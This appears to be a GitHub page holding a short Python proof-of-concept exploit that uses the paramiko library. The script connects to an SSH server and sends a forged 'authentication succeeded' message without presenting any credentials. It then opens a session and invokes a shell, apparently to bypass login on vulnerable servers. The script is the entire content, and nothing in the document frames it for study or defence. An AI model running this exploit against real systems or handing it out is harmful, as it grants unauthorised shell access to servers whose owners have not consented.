Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
30 lines (22 sloc) 689 Bytes
#!/usr/bin/env python
# coding: utf-8
import paramiko
import socket
def poc(hostname="127.0.0.1", port=22):
sock = socket.socket()
try:
sock.connect((hostname, port))
# instantiate transport
m = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(m)
cmd_channel = transport.open_session()
cmd_channel.invoke_shell()
return 0
except socket.error as e:
print('[-] Connecting to host failed. Please check the specified host and port.')
return 1
if __name__ == "__main__":
exit(poc())